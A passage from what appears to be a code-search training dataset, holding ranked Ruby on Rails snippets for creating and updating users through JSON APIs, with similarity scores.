"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end",
"def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end",
"def create\n user = User.create(user_params) \n render json: user, status: :created\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(\n username: user_params[:username],\n password: user_params[:password])\n if user.save\n create_example_collection(user)\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: user.errors.full_messages}\n end\n end",
"def create\n user= User.create(user_params)\n render json: user\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def create\n user = User.new(@user_info)\n if user.save && user.errors.empty?\n render json: { status: 200, data: UserSerializer.new(user).as_json }\n else\n render json: { status: 400, error: user.errors.full_messages }\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create(options = {})\n request(:post, '/users.json', default_params(options))\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.create user_params\n \n if @user.save\n respond_with(@user) do |format|\n format.json {render}\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create_user\n @user = User.new(user_params)\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = @application.users.create(user_params)\n\n if @user.valid?\n render json: @user, status: :created, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.save\n render json: user\n else\n render json: user.errors, status: :bad\n end\n end",
"def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end",
"def create\n\n puts '-----------------------create in user controller'\n\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('user_create_error') }, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, success: 'User registration successful' }\n else\n render json: { error: 'User registration unsuccessful' }\n end\n end",
"def create\n\t\tputs user_params\n\t\tuser = User.new(user_params)\n\t\tif user.save\n\t\t\trender json: { user: user, status: :success }\n\t\telse\n\t\t\trender json: { status: :failure, errors: user.errors.full_messages.join('') }\n\t\tend\n\tend",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end",
"def create\n user = User.new(user_params)\n\n respond_to do |format|\n if user.save\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user.users.build(user_params)\n\n if @user.save\n render json: @user\n else\n @user_items = []\n end\n end",
"def create\n user = User.new(user_params)\n render json: { status: 200, msg: 'User was created.', data: \"User Id #{user.id}\" } if user.save\n end",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render :json => user, :status => :created\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end",
"def create\n logger.debug user_params\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :not_acceptable\n end\n end",
"def create\n user = User.create(user_params)\n render json: user, message: 'user succefully create', status: 200\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n up = user_params\n\n if up[:name].present?\n up[:first_name] = up[:name].split(' ')[0]\n up[:last_name] = up[:name].split(' ')[1]\n up.delete :name\n end\n @user = User.new(up)\n\n respond_to do |format|\n if @user.save\n # render json: {user: user, token: token}\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: api_user_url(@user)}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: \"Se creo el usuario\"}, status: :ok\n else\n render json: {status: \"Error al crear el usuario\", errors: user.errors }, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(params[:user].permit(:username))\n if user.save\n render json: user\n else\n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create\n puts '>>> params:'\n puts params.inspect\n @user = User.new(params[:user])\n puts '>>> User:'\n puts @user.inspect\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n \tdata = { data: @user, status: :created, message: \"User was successfully created.\" }\n render :json => data\n else\n \tdata = { data: @user.errors, status: :unprocessable_entity }\n render :json => data\n end\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user.as_json(only: [:email, :authentication_token]), status: :created\n else\n head(:unprocessable_entity)\n end\n end",
"def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end",
"def create\n @user = User.new(params[:user])\n\n if @user.save\n respond_to do |format|\n format.json { render :json => @user.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { redirect_to :action => :index }\n end\n else\n respond_to do |format|\n format.json { render :text => \"Could not create user\", :status => :unprocessable_entity } # placeholder\n format.xml { head :ok }\n format.html { render :action => :new, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n render :ok, json: @user.to_json\n else\n @errors = @user.errors.full_messages\n render json: { message: @errors }, status: :unauthorized\n end\n end",
"def create\n puts params\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user.as_json(user: current_user), status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: 200, msg: 'User was created.'}\n else\n render json: {errors: user.errors.messages}\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, :notice => 'User was successfully created.' }\n format.json { render :json => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new({name: params[:name], email: params[:email], password: params[:password], photo: params[:photo]})\n @user.save\n render json:@user\n end",
"def create\n user = User.create(user_params)\n\n if user.valid?\n render json: {user: UserSerializer.new(user), token: encode_token(user.id)}\n else\n render json: user.errors.full_messages\n end\n end",
"def create\n\t\tresp = {} \n user = User.create(user_params)\n \tif user.valid?\n if user.save\n return render :json => user.as_json\n end\n end\n render json: user.errors.full_messages \n\tend",
"def create\n\t\tnew_user = User.new(user_params)\n\t\tif new_user.save\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"New User Created\",\n\t\t response: {\n\t\t name: new_user.name,\n\t\t email: new_user.email,\n\t\t id: new_user.id,\n\t\t facebook_id: new_user.facebook_id,\n\t\t device_id: new_user.device_id,\n\t\t authentication_token: new_user.authentication_token\n\t\t }\n\t\t \n\t\t }.to_json\n\t\telse\n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: new_user.errors\n\t\t }.to_json\n\t\tend\n\tend",
"def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create_user(options = {})\n post \"/users\", options\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n user = User.new(user_params)\n\n if user.save\n\n render json: {status: 200, msg: 'User was created.'}\n\n else \n render json: {\n errors: user.errors.full_messages\n }, status: :unprocessable_entity\n\n end\n\n end",
"def create\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save \n format.html { redirect_to users_url, notice: \"User #{@user.name} was successfully created.\" }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(body)\n post 'create_user', body\n end",
"def create\n @user = User.new(user_params)\n @user.email = params[:email].downcase\n if @user.save\n render json: @user, status: 200\n else\n render json: { errors: @user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json:@user\n elsif @user.errors\n render json: {error: {code: 400, server_message: @user.errors}}, status: :bad_request\n else\n render json: {error: {code: 500, message: \"Could not save user\", server_message: @user.errors}}, status: :internal_server_error\n end\n\n end",
"def create\n user = User.new(user_params)\n\n if user.valid?\n user.save\n render json: {user: user, token: encode_token({user_id: user.id})}\n else\n render json: {error: \"Failed to create the user\"}\n end\n end",
"def create\n @user = User.new(user_params)\n render json: @user && return if @user.save\n\n render json: { error: \"Unable to save user: #{@user.errors.messages}\" }, status: 400\n end",
"def create\n @user = User.new(user_params)\n @user.save\n respond_with @user\n end",
"def create\n params[:user][\"_id\"] = params[:user][:name]\n @user = User.new(params[:user])\n\n respond_to do |format|\n if @user.save()\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_user(attributes)\n post(\"/v1/users\", attributes)\n end",
"def create\n user = User.new(user_params)\n\n # if user is saved sucessfully it will return user and ith status 201 for created\n if user.save\n render json:user,status: :created\n #if request is properly served but data is wrong it ll give ubprocessable_entity with code 422\n else\n render json: user.errors, status: :unprocessable_entity\n end \n end",
"def create\r\n @user = User.new(params[:user])\r\n\r\n respond_to do |format|\r\n if @user.save\r\n format.html { redirect_to users_path, notice: 'Os dados do usuário foram salvos com sucesso!' }\r\n format.json { render json: @user, status: :created, location: @user }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @user.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n @user = User.new(\n first_name: params[:first_name],\n last_name: params[:last_name],\n birth_date: params[:birth_date],\n height: params[:height],\n weight: params[:weight],\n user_name: params[:user_name],\n password: params[:password],\n password_confirmation: params[:password_confirmation],\n facebook_url: params[:facebook_url],\n twitter_url: params[:twitter_url],\n instagram_url: params[:instagram_url],\n address: params[:address],\n email: params[:email]\n ) \n if @user.save!\n render 'successful.json.jb', status: :created\n else\n render 'unsuccessful.json.jb', status: :bad_request\n end\n end",
"def post(hash)\n HttpClient::Preconditions.assert_class('hash', hash, Hash)\n @client.request(\"/users\").with_json(hash.to_json).post { |hash| Apidoc::Models::User.new(hash) }\n end",
"def create\n user = User.create!(user_params)\n session[:user_id] = user.id\n render json: user, status: :created\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: {message: \"user create successfuly\"}\n else\n render json: {message: \"Error\"}\n end \n end",
"def create\n # Insert new user in database\n user = User.new(user_params)\n\n if user.save\n # On success, send token information to authenticate user\n token = create_token(user.id, user.username)\n render json: {status: 200, token: token, user: user}\n # render json: @user, status: :created, location: @user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(params[:user])\n @user.status = 'active'\n\n respond_to do |format|\n if @user.save\n format.json { render :json => @user, :status => :created }\n format.html { redirect_to(users_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n respond_with(@user, location: users_url, notice: 'User was successfully created.')\n else\n respond_with(@user)\n end\n end",
"def create\n user = User.new(user_params)\n \n if user.save\n token = JsonWebToken.encode(user_id: user.id)\n render json: { auth_token: token, user: AuthUserSerializer.new(user).serializable_hash }, status: 201\n else \n render json: { errors: user.errors.full_messages }, status: 400\n end\n end",
"def create\n @user = User.new(params[:user])\n puts params[:user]\n respond_to do |format|\n if @user.save\n format.html { redirect_to :users, notice: 'Registration successful.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { render action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :show, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n user.username.downcase\n @token = issue_token(user)\n list = List.create(name: user.username)\n list.user_id = user.id\n user.save\n list.save\n render json: { user: UserSerializer.new(user), jwt: @token }, status: :created \n else \n render json: { error: user.errors.full_messages }, status: :not_acceptable\n end \n end",
"def create\n @user = User.new(user_params)\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_response = API::V1::Users.authenticate params.as_json\n if user_response.success?\n json = HashWithIndifferentAccess.new(user_response.parsed_response)\n auth_response = API::V1::Auth.issue json[:data]\n respond_with auth_response.body, auth_response.code\n else\n respond_with nil, :unauthorized\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.html { redirect_to users_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render :json => { :status => 0 }\n else\n render :json => { :status => 1, :msg => @user.errors}\n end\n end",
"def create\n @user = User.new(user_params)\n if @user.save\n auth_token = Knock::AuthToken.new payload: { sub: @user.id }\n render json: { username: @user.username, jwt: auth_token.token }, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n authorize :user, :create?\n @user = User.new(user_params)\n @user.save\n\n respond_to do |format|\n format.html\n format.json { render :json => @user, status: 200 }\n end\n end",
"def post_accounts(json_hash)\n @options = {:path => '/users.json',\n :body => json_hash[:json]}.merge(@options)\n\n request(\n :expects => 201,\n :method => :post,\n :body => @options[:body]\n )\n end",
"def create\n user = User.new(username: params[:username])\n if user.save\n payload = {'user_id': user.id}\n token = JWT.encode(payload, 'chatapp')\n render json: {\n user: user,\n token: token\n }\n else \n render json: { message: 'There was an error creating your account' }\n end\n end",
"def create\n user = User.create!(user_params)\n if user\n session[:user_id] = user.id\n render json: user, status: :created\n else\n render json: { errors: user.errors.full_messages }, status: :unprocessable_entity\n end\n end",
"def create\r\n @user = User.new user_params\r\n\r\n if @user.save\r\n render json: @user, serializer: SessionSerializer, root: nil\r\n else\r\n render json: { errors: @user.errors }, status: :unprocessable_entity\r\n end\r\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: { status: 'OK', msg: 'User was created.', error: 'nil' },\n status: :created\n else\n not_good(422)\n end\n end"
] |
[
"0.7717161",
"0.7520086",
"0.73836344",
"0.72409415",
"0.71978736",
"0.7141429",
"0.7104657",
"0.70591146",
"0.7041025",
"0.70248866",
"0.7003643",
"0.7002613",
"0.7002613",
"0.7002613",
"0.69928265",
"0.69907886",
"0.69809496",
"0.69801414",
"0.69791436",
"0.69791436",
"0.69767386",
"0.6962815",
"0.69523084",
"0.6945828",
"0.6945828",
"0.69208914",
"0.69177264",
"0.69147813",
"0.6901842",
"0.68987757",
"0.68945694",
"0.6890318",
"0.6880596",
"0.6880413",
"0.68804014",
"0.6879837",
"0.6877013",
"0.6869679",
"0.68557084",
"0.6851043",
"0.6843054",
"0.6814745",
"0.6803668",
"0.67781234",
"0.67770517",
"0.67675865",
"0.6757657",
"0.6747802",
"0.6738943",
"0.6734963",
"0.6734314",
"0.67212373",
"0.67116344",
"0.66702104",
"0.6658765",
"0.6657401",
"0.6654482",
"0.66385674",
"0.6632985",
"0.66201466",
"0.66150475",
"0.66142607",
"0.65971714",
"0.65911466",
"0.65787727",
"0.657847",
"0.6572848",
"0.65728176",
"0.65565324",
"0.6553755",
"0.6551087",
"0.65467244",
"0.6540192",
"0.6539999",
"0.65385455",
"0.65365374",
"0.65331703",
"0.65255845",
"0.6510152",
"0.65085065",
"0.65073115",
"0.6503021",
"0.6490442",
"0.6488176",
"0.6487268",
"0.6473675",
"0.6471243",
"0.6470444",
"0.6470444",
"0.6469194",
"0.64675325",
"0.64622986",
"0.6461707",
"0.6461063",
"0.64550257",
"0.6453632",
"0.64504826",
"0.6447771",
"0.6446938",
"0.6445699",
"0.6442136"
] |
0.0
|
-1
|
PATCH/PUT /users/1 PATCH/PUT /users/1.json
|
def update
respond_to do |format|
if @user.update(user_params)
format.html { redirect_to user_home_path(@current_user), notice: 'User (' + @user.full_name + ') was successfully updated.' }
format.json { render :show, status: :ok, location: @user }
else
format.html { render :edit }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n render json: User.update(params[\"id\"], params[\"user\"])\n end",
"def update\n render json: Users.update(params[\"id\"], params[\"user\"])\n end",
"def UpdateUser params = {}\n \n APICall(path: 'users.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update \n user = User.find(params[:id])\n # byebug\n user.update(user_params)\n\n render json: user\n end",
"def update\n user = User.find(params[:id])\n\n # Use update with user_params to do a mass-assignment update and save. \n if user.update_attributes(user_params)\n render json: user\n else \n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n user = User.find_by(id: params[:id])\n user.update(user_params)\n render json: user\n end",
"def update\n \trespond_to do |format|\n if @user.update(user_params)\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\t \t\n end",
"def update\n user = find_user\n user.update!(user_params)\n render json: user\n end",
"def update\n if user.update(user_params)\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def update\n if @api_v1_user.update(api_v1_user_params)\n head :no_content\n else\n render json: @api_v1_user.errors, status: :unprocessable_entity\n end\n end",
"def update_current_logged_in_user(args = {}) \n put(\"/users.json/current\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update_attributes(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update_user(options)\n patch(\"/user\", options, 3)\n end",
"def modify_user(user)\n query_api_object Model::User, '/rest/user', user.to_hash, 'PUT'\n end",
"def update\n user = User.find(params[:id])\n user.update(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { render action: \"edit\"}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.role = params[:type]\n @user.save\n render json:@user\n end",
"def update\n if @user.id == current_api_user.id\n if @user.update(user_params)\n render json: @user.as_json(except: [:updated_at]), status: :ok\n else\n render json: @user.errors, status: :bad_request\n end\n else\n render json: '', status: :forbidden\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: {error: \"Could not update user\"}\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n render json:@user\n else\n render json: { error: {code: 404, message: 'Invalid user' }}, status: :not_found\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(params_user)\n render json: user, status: 200\n else\n render json: user.errors, status: 422\n end\n\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update user_params(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.name = params[:name]\n @user.email = params[:email]\n @user.password = params[:password]\n @user.photo = params[:photo]\n @user.save\n render json:@user\n end",
"def updateUser\n options = {\n :body => params.to_json,\n :headers => {\n 'Content-Type' => 'application/json',\n 'Authorization' => request.headers['Authorization']\n }\n }\n results = HTTParty.put(\"http://192.168.99.101:4051/users/\"+@current_user[\"id\"].to_s, options)\n render json: results.parsed_response, status: results.code\n end",
"def update\n user = @user_service.update_user(params[:id])\n render json: user, status: :ok\n end",
"def update\n @user = User.find(params[:id]) \n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User #{@user.name} was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: 200\n else\n render json: @user.errors, status: 422\n end\n end",
"def update\n begin\n user = User.find(params[:user_id])\n if user.update(user_params)\n render json: { users: user }, status: :ok\n else\n render json: { errors: user.errors.messages }, status: 422\n end\n rescue => e\n render json: { errors: e.message }, status: 404\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(params[:user])\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if user.update(user_params)\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params[:user]))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n @user.update_attributes(params[:user])\n respond_with @user\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes_from_api(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { render_for_api :user, :json => @user }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_org.users.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch_user(user_id, body)\n raise Auth0::MissingUserId, 'Must supply a valid user_id' if user_id.to_s.empty?\n raise Auth0::InvalidParameter, 'Must supply a valid body' if body.to_s.empty? || body.empty?\n path = \"#{users_path}/#{user_id}\"\n patch(path, body)\n end",
"def update\n @user = User.find(params[:id])\n @user.update(user_params)\n render json: @current_user\n end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n user = User.find(params[:id])\n render json: { status: 200, msg: 'User details have been updated.' } if user.update(user_params)\n end",
"def modify_user(user)\n query_api_object User, \"/rest/user\", user.dump(), \"PUT\"\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
